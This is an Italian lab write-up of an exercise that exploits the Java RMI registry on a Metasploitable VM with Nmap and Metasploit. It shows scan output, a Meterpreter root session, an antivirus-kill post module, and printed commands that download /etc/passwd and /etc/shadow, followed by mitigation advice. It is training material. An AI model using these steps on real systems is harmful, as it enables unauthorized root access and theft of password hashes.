Java RMI Exploit

Obiettivo: Sfruttare il Servizio Vulnerabile Java RMI della Metasploitable.

Strumenti Utilizzati:

- Kali Linux (192.168.11.111);
- **Metasploitable** (192.168.11.112);
- Tools utilizzati: Nmap e msfconsole.

1) Configurazione Indirizzi IP

Per cominciare l'esecuzione della traccia ho configurato gli indirizzi *IP* di **Kali** e **Metasploitable** come indicava la traccia.

2) Analisi della vulnerabilità

La traccia chiedeva di ricercare se la vulnerabilità effettivamente esistesse (potrebbe essere stata patchata o la nostra versione di **Metasploitable** non la "possiede"). Per accertarmi di ciò ho utilizzato il tool **Nmap**.

Per ricercare le vulnerabilità su una data macchina in genere utilizziamo il software **Nessus**, ma in questo caso mi sembrava inutile utilizzare un programma così pesante e completo per cercare un un'unica vulnerabilità di cui sapevamo già il nome e soprattutto la *porta* (1099).

Per questo motivo ho avviato prima una *SYNscan* per verificare se la *porta 1099* fosse aperta. Una volta accertato che il servizio fosse attivo ho avviato una scansione *Aggressive* per ottenere informazioni aggiuntive del servizio ed infine ho utilizzato lo script *Vuln* per verificare se la porta selezionata fosse in qualche modo vulnerabile.

```
F
                                                                 kali@ka
File Actions Edit View Help
  -(kali⊕kali)-[~]
$ sudo nmap -s$ 192.168.11.112
[sudo] password for kali:
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 03:10 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00019s latency).
Not shown: 977 closed tcp ports (reset)
        STATE SERVICE
PORT
21/tcp open ftp
22/tcp
23/tcp
         open ssh
open telnet
        open smtp
25/tcp
53/tcp open domain
80/tcp open http
111/tcp open rpcbind
139/tcp open netbios-ssn
445/tcp open microsoft-ds
512/tcp open exec
513/tcp open login
514/tcp open shell
1099/tcp open rmiregistry
1524/tcp open ingreslock
2049/tcp open nfs
2121/tcp open ccproxy-ftp
3306/tcp open mysql
5432/tcp open postgresql
5900/tcp open vnc
6000/tcp open X11
6667/tcp open irc
6667/tcp open
8009/tcp open ajp13
8180/tcp open unknown
MAC Address: 08:00:27:DA:84:7D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 13.62 seconds
```

```
(kali@ kali)-[~]
$ sudo nmap -p 1099 --script vuln 192.168.11.112
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-16 03:23 EDT
Nmap scan report for 192.168.11.112
Host is up (0.00064s latency).

PORT STATE SERVICE
1099/tcp open rmiregistry
| rmi-vuln-classloader:
| VULNERABLE:
| RMI registry default configuration remote code execution vulnerability
| State: VULNERABLE
| Default configuration of RMI registry allows loading classes from remote URLs which can lead to remote code execution.
| References:
| https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb
MAC Address: 08:00:27:DA:84:7D (Oracle VirtualBox virtual NIC)
Nmap done: 1 IP address (1 host up) scanned in 38.25 seconds
```

Lo script *Vuln* come anche *vulscan* e *-vulners* è utilizzato per sfruttare **Nmap** come un **Vulnerability Scanner**. La sua sintassi non differenzia di molto dagli altri due ma è leggermente più semplice da utilizzare.

PS: Ho salvato su un file di testo a parte il risultato congiunto delle 3 scansioni per un ipotetico cliente che richiede il report della vulnerabilità data.

3) Msfconsole

Una volta accertata la presenza della vulnerabilità ho avviato il tool **Metasploit**. Da quello che abbiamo potuto notare grazie allo script *vuln* la vulnerabilità riguarda il potersi connettere da remoto sfruttando un bug del registro **RMI** (**Remote Method Invocation**). Come suggerisce il nome **RMI** è un protocollo per richiamare un oggetto o un metodo di un oggetto in esecuzione da remoto. Avviato il tool con *search* ho cercato le prime parole sotto la voce *Vulnerable* di **Nmap**.

Il primo risultato è un exploit di **Windows**, a noi non serve perchè la scansione **Aggressive** ci indica che si tratta di una macchina **Linux** perciò usiamo il secondo modulo.



In questo caso ho dovuto soltanto impostare l'**RHOST** con l'indirizzo IP della macchina target. Come *payload* ha caricato di default una **Meterpreter**, proprio quella che chiedeva la traccia. Ho lasciato invariato.

Una volta conclusa la configurazione ho avviato con *run* l'exploit entrando all'interno della macchina **Metasploitable**. Ho cominciato utilizzando alcuni comandi semplici come:

ipconfig per visualizzare la configurazione di rete.

- **sysinfo** per ottenere varie informazioni della macchina target
- **pwd** per mostrare il percorso dell'attuale directory

- run get local subnets per ottenere la subnet (utile se si vuole attaccare la rete)
- run post/windows/manage/killav (ovvero getcountermeasuer) per scoprire se fossero presenti dei firewall sulla macchina, in questo caso no
- search -f per cercare un file con il nome passwd per trovare il file con la lista utenti della macchina
- cat per poter leggere /etc/passwd
- **getuid** per vedere con quale utente siamo loggati
- download con il quale ho scaricato sia /etc/passwd che /etc/shadow (non è necessario in questo esercizio dato che la Meterpreter si inoltra nella macchina target come root)

meterpreter > getuid
Server username: root

```
meterpreter > download ~/etc/shadow
[*] Downloading: /etc/shadow → /home/kali/shadow
[*] Downloaded 1.18 KiB of 1.18 KiB (100.0%): /etc/shadow → /home/kali/shadow
[*] Completed : /etc/shadow → /home/kali/shadow

meterpreter > download ~/etc/passwd
[*] Downloading: /etc/passwd → /home/kali/passwd
[*] Downloaded 1.54 KiB of 1.54 KiB (100.0%): /etc/passwd → /home/kali/passwd
[*] Completed : /etc/passwd → /home/kali/passwd
```

Il comando *download* è pericoloso in quanto una volta entrato l'hacker può scaricare file importanti (spesso i dipendenti salvano sul proprio PC con dei normali file di testo password proprie o dei colleghi oltre a informazioni di lavoro e personali) o addirittura iniettare *Virus* e *Malware* (in questo caso però si usa il comando *upload*) a seconda del suo scopo. La *Meterpreter* infatti come già detto logga come root quindi non ha bisogno di password e non ha sopratutto blocchi se deve copiare, rinominare o eliminare file.

Consigli:

Essendo questa versione di **Java** molto vecchia (come la stessa **Metasploitable**) è consigliabile aggiornarla per poter risolvere quella che sembra essere una *backdoor*. Purtroppo questa macchina non è più supportata con aggiornamenti perciò si può suggerire di installare un **firewall** che blocchi il traffico di dati per la *porta 1099* o altrimenti di cambiare il server sulla quale gira.